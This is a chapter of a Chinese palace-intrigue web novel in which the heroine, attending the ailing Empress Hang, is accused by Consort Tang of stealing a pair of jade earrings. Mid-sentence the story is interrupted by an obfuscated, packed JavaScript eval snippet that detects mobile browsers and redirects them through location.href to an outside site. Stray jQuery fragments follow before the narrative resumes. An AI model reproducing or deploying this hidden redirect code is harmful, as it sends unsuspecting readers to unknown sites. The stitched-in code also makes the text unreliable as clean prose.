20. 耳环疑云

作品:《鸾镜GB

    陆明明一大早便被院子里的喧闹声吵醒,往昔住在沂王别院处时,她向来都是睡到自然醒,如今睁眼,打照面的是冬日才刚刚破晓的天色,一时之间,还真有些不适应。


    陆明明挣扎了半天才攀着栾珝的双臂起床,突然想起来今天是腊月初一,睡前她还反复提醒自己,一定要记得去皇后宫中请安。幸亏有栾珝相助,只见他食指轻动,陆明明的发丝便如灵蛇般盘绕,利落结为一个简单的发髻,节省不少时间。


    栾珝轻声唤起坐着又开始打瞌睡的少女,打开琳琅满目的首饰匣,让她挑选心仪的发饰,陆明明依旧睡眼惺忪,下意识便去拿平日里最常佩戴的那支绒花簪子——自然是栾珝早已暗中替换的那一只。栾珝配合着,又为少女点缀上其他饰品,整体造形显得活泼清丽。


    陆明明迈出房门的时候,皎皎早已候在院中,见她出来,皎皎忙不迭转身入内通报。


    片刻后,李惜儿在侍女的搀扶下款款出屋,她身披银丝鼠腹毛制成的大氅,银白色鼠腹毛质地轻薄,衬得李惜儿整个人又娇又俏,只露出一张雪白的小圆脸,眉眼间温柔妩媚,尤其是那双微微上调的杏眼,依稀还能窥见昔日作为名旦的风姿。


    相比之下,陆明明的穿着则显得朴素许多,她穿着改制的羽绒衣,下搭一条简约的织锦马面裙,巧妙地将自己强烈要求栾珝寻来的加厚雪地靴和二棉裤遮掩其中,既保暖又不失风度。


    李惜儿和陆明明互行过礼后,一起往坤宁宫的方向走去,还是李惜儿率先打破沉默。


    她侧过脸,凝视着陆明明琥珀色的瞳孔,樱粉色唇角漾开甜笑,“妹妹最近感觉身体如何?陛下近一个月已在你那儿留宿四五次……”


    说着,她的视线有意无意扫过陆明明的小腹,掩唇意味深长道:“妹妹,你也调养一段时间了,身体可有什么异样?”


    陆明明怎会听不懂李惜儿话中玄机,只是朱祁钰每次到访,右脚还没进屋,栾珝便施法将人放倒,扔在外间软榻上。虽说朱祁钰只是在外间昏睡,但陆明明床边灵泉泄露的那点灵气对于凡人的身体来说也算大有裨益,导致朱祁钰来得愈发频繁,上周竟接连来了三次三次,惹得栾珝乱吃飞醋,两个人虽未越过最后界限,却几乎已将亲昵之事做了个遍。


    都怪栾珝,事事均无比温驯配合,害得她忍不住实验了许许多多奇怪的文学知识——尤其是想到今早栾珝白莲藕一样的腕子上依旧留有两道浅红色的勒痕,她的耳垂瞬间发烫。


    可恶,这痕迹本可用仙术轻松抹除,可栾珝非要留着早上羞她,直到出门前才当着她面抹去。


    不过这幅模样在李惜儿眼中却是另有一番解读,她关切追问,“如何?肚上可有什么不舒服的地方?”


    陆明明方才沉溺于回味昨晚佳肴,早忘了李惜儿的问题,顺着李惜儿的话头,感受了一番身体状况,皱着眉头犹疑道:“昨晚送来的辣汤丝倒是美味,不可我贪嘴多吃了一些,今早总觉得有点烧心,想着如果能有一些水果酥酪解解腻就好了。”


    陆明明本意是用酥酪能缓解被辣到的胃部不适,可这话在李惜儿听着却像是在隐隐暗示,忙压低声音,“妹妹,你这话跟我说说也就算了,可千万别和旁人讲啊。”


    陆明明有些不解地点点头,暗自思忖当娘娘都不能喝酸奶了吗?


    坤宁宫的规模要比乾清宫小不少,独自孤零零地坐落在汉白玉石基上,浸泡在冬日清冷的朝阳中,等候着她例行的访客们,陆明明和李惜儿并肩步上台阶,少女的鼻子素来灵敏,闻到了一丝若有似无的药香,心道这位皇后娘娘爱好倒是特别。


    早有训练有素的宫女们候在门口,有人过来便赶忙掀开门帘,还有人负责为贵人们的暖手炉更换新炭。


    突然被人如此周到的伺候,陆明明还真有些不适应,她连连摆手示意自己来,却被李惜儿不着痕迹地挽着胳膊带进屋,后者低声耳语道:“妹妹,你切不可太对她们太客气,这些就是一群看人下菜碟的货色,你越是端着架子,她们才越把你当回事。”


    陆明明不敢苟同李惜儿的观点,可也不好当下便驳了对方的面子,只是默不作声地接过栾珝套好炉罩的暖手炉,转入门厅,又过了两道门帘,陆明明冷不丁被呛了一下,连忙捏住鼻子,强憋回即将打出来的喷嚏。


    原因无他,屋子里的药味实在是太浓了,原来淡淡的药香只是被门帘隔绝其中,进入这间闷热的屋子里才感觉到就连呼吸时,药味浓缩在鼻尖,苦到胸腔里都仿佛流淌着药汁,这位皇后竟然每天都生活在这样的环境中吗?


    陆明明偷偷打量着坤宁宫内部陈设,陈旧笨拙的木制家具让这间弥漫着苦香的宫室更添几分寂寥,几把玫瑰椅上围上了厚厚的一层保暖垫,为首的那把尤甚,玫瑰椅后的多宝阁上奇珍异宝寥寥无几,紫檀雕刻的石榴摆件上已经落了一层薄灰。


    陆明明二人来得算早,相顾无言地对坐许,才又有一人姗姗来迟。


    此人一进来,顿时将本来昏暗的室内晃得亮了三分,头上的金玉璎珞泠泠作响,脱下绣满花团的紫貂披风后,露出底下做工繁复的袄裙,泰然坐在第二把交椅上,左边的宫女为她递上描金绘彩的景泰蓝暖手炉,右边的宫女则适时递上一杯温热的茶汤,一看便知是个备受宠爱的妃子。


    李惜儿也不甘示弱,正坐在第三把椅子上,换了个舒服的坐姿。


    陆明明自觉在后宫地位不高,懂事地尽量降低存在感,默默地和栾珝交换了一个眼神,获得了对方肯定的回应。心底才踏实了几分。


    陆陆续续又来了三名女子,俱没有刚刚那人的气势,纷纷挨着陆明明坐下,看样子应该也是嫔妾的身份。等人到齐了,终于有一名宫女去内室通报。


    不多时,门帘掀开,伴随着愈发浓重的药味,一名三十上下的宫装少妇被人掺扶着走了出来,她整个人被装在厚厚的凤纹袄裙中,露出一张惨白瘦削的小脸,黑曜石般的眸子嵌在眼眶里,刀刻一样的双眼皮随着她眨眼时隐时现,艳红的唇开开合合,露出里面未被口脂染色的苍白薄唇。


    想来这位便是传说中的诸事不管的杭皇后了,而那位气势逼人的就应该是唐妃了,然而最令她意想不到的则是李惜儿竟然能坐在第三把椅子上,对方的心机手腕可想而知,陆明明暗自庆幸自己与她并不是竞争关系。


    杭皇后倚坐在椅子里,环顾四下,对着陆明明的方向问道:“我看你面生,你过来让我瞧瞧……”


    陆明明再三确认这位皇后娘娘是对着自己说话,才壮着胆子碎步上前。杭皇后让人另设交椅,方便陆明明挨着她坐下,她温柔地执起少女的手,轻轻抚摸着她的手背,语气和缓的柔声问道:“你叫什么?今年多大啦?”


    陆明明觉得这位皇后娘娘像个温柔的大姐姐,于是弯身凑过去,笑着回答,“娘娘叫我明明就好,今年双十了。”


    “双十啊……”杭皇后点点头,半是赞同半是追忆道,“真是好年纪,无忧无虑,身体健康,真好啊!”


    “皇后娘娘您这是说的哪里的话,您才是正值春秋鼎盛的年纪,赶紧好起来才是,我们才有主心骨。”李惜儿掩唇轻笑,杏眼轻飘飘掠过对面,又重新回到杭皇后身上。


    杭皇后闻言只是微笑,拨弄着陆明明手上的翡翠戒指。


    陆明明有些紧张地瞟向下侧,内心暗暗尖叫,这就是传说中的宫斗吗?率先开启宫斗的竟然是以温婉著称的莺嫔吗?


    那人终于放下暖手炉,重新调整了一下坐姿,似笑非笑地打量了一眼李惜儿,转过头对着杭皇后道:“莺嫔妹妹说得对,我们确实都盼着娘娘身体尽快康复,眼看着马上就要过年了,这宫里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623068|170159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又开始忙起来了,没有娘娘主持中馈,我简直是忙得焦头烂额。”


    两人你一句我一句,针尖对麦芒,谁也不肯相让,还是杭皇后出面调和,她轻轻咳了一声,咽下宫女适时递上来的热茶,和声道:“唐妃,既然陛下让你协理六宫,你就大胆去做,有什么不懂的,尽管来问我,还有莺嫔,我自己的身体我自己最清楚,不用你在那说。”


    她视线扫过底下心思各异的众人,目光闪着奇异的光芒,略有些神经质的紧紧抓住椅子扶手,半起身道:“你们,一个个在想什么,我全都知道,不要看着我好像时日无多,就动了什么不该有的心思,本宫在这个位置上一天,就是你们的皇后!在我咽气之前,给我老实点!”


    最后一句杭皇后几乎是声嘶力竭地喑哑着嘶喊出来,音量不高却敲击在每一个人的耳膜上,下面呼啦啦跪倒一片,陆明明也只能顺势跟着跪下。


    杭皇后跌坐回椅子上,气喘吁吁地平复着呼吸,婉拒了围上来的宫女,目光复环视过众女,语调依旧温柔如初,“本宫也乏了,你们也先回去休息吧。”


    众女闻言行过礼后,纷纷倒退着向外走去,陆明明沾了杭皇后的光,有幸成为最后一名,忽然被身后的唐妃一把捉住腕子。


    唐妃一只手捉住陆明明的腕子,另一只手径直来拽陆明明的耳坠,怒气冲冲地问道:“你这耳饰从何而来?”


    陆明明吃痛,猛地一把推开唐妃,瞪大双眼不可置信的大声质问:“我的就是我的,你有病啊?”


    这一出动静惊到了本打算回房休息的杭皇后,于是大家又只能回座坐好,陆明明怒瞪了唐妃一眼,心底默默埋怨对方没事找事。


    耳饰已经被皇后命人取下承在托盘中,这是一对翡翠的耳饰,翡翠被工匠巧妙地雕刻成一对佛手捻珠的形状,造型质朴大方。


    陆明明也是看这个破耳饰的颜色与栾珝送她的翡翠戒指颜色相配才会选择这样搭配,谁知道会遇见这样的事情。


    杭皇后神色怏怏地萎坐在玫瑰椅中,食指敲击着太阳穴,目光投向唐妃,示意对方先说。


    唐妃紧盯着托盘里的耳饰,一字一顿道:“皇后娘娘,您知道我素来最爱戴此物,只是数月前消失不见了。此物乃是当年我进宫时,圣上钦赐之物,内务府的册子对御赐之物的去向均有记录,是不是这对耳饰一查便知。”


    说着,她瞥了一眼陆明明,不屑道:“况且此女不过是沂王别院宫女出身,一朝得幸忝列后宫,哪来闲钱置办这些东西,依妾身看,分明是这人手脚不干净,就连手上的戒指怕也是不干不净得来的,各位姐妹们快好好看看吧……陛下也真是的,是不是看了什么救风尘的戏码,什么阿猫阿狗也往后宫领。”


    陆明明不甘示弱地回嘴道:“娘娘您想说骂我们是阿猫阿狗,那您是何物?长嘴的八哥?再说了,我也是有月钱的,如何不能自己攒钱买一些珠宝首饰,您这也太污蔑人了!”


    她拉了拉栾珝的袖子,眉头微蹙,问对方,“你快解释解释,我这耳环从何处来?”


    唐妃想不到陆明明居然敢回嘴骂自己,一时被噎了一下,于是抱着双臂好整以暇地等着栾珝的回答。


    栾珝上前一步,声音清冷却带着不容置疑地坚定,“唐妃娘娘心急,我们家主子向来善解人意,可以理解娘娘的心情,只是陆嫔娘娘与您同为一宫之主,您无端质疑其品性,是否也是在怀疑太后娘娘与陛下的眼光?望娘娘慎言,莫要因一时意气,坏了宫中和气。”


    陆明明见有人撑腰,气场瞬间回来了,叉着腰,理直气壮道:“就是,此物造型虽然别出心裁,但毕竟只是佛手捻珠的造型,也不罕见。此物是我昔日开放日的时候从外面买来的,宫女私产难道也要登记在册?那就请皇后娘娘做主,干脆把大家的私产全都登记上好了!”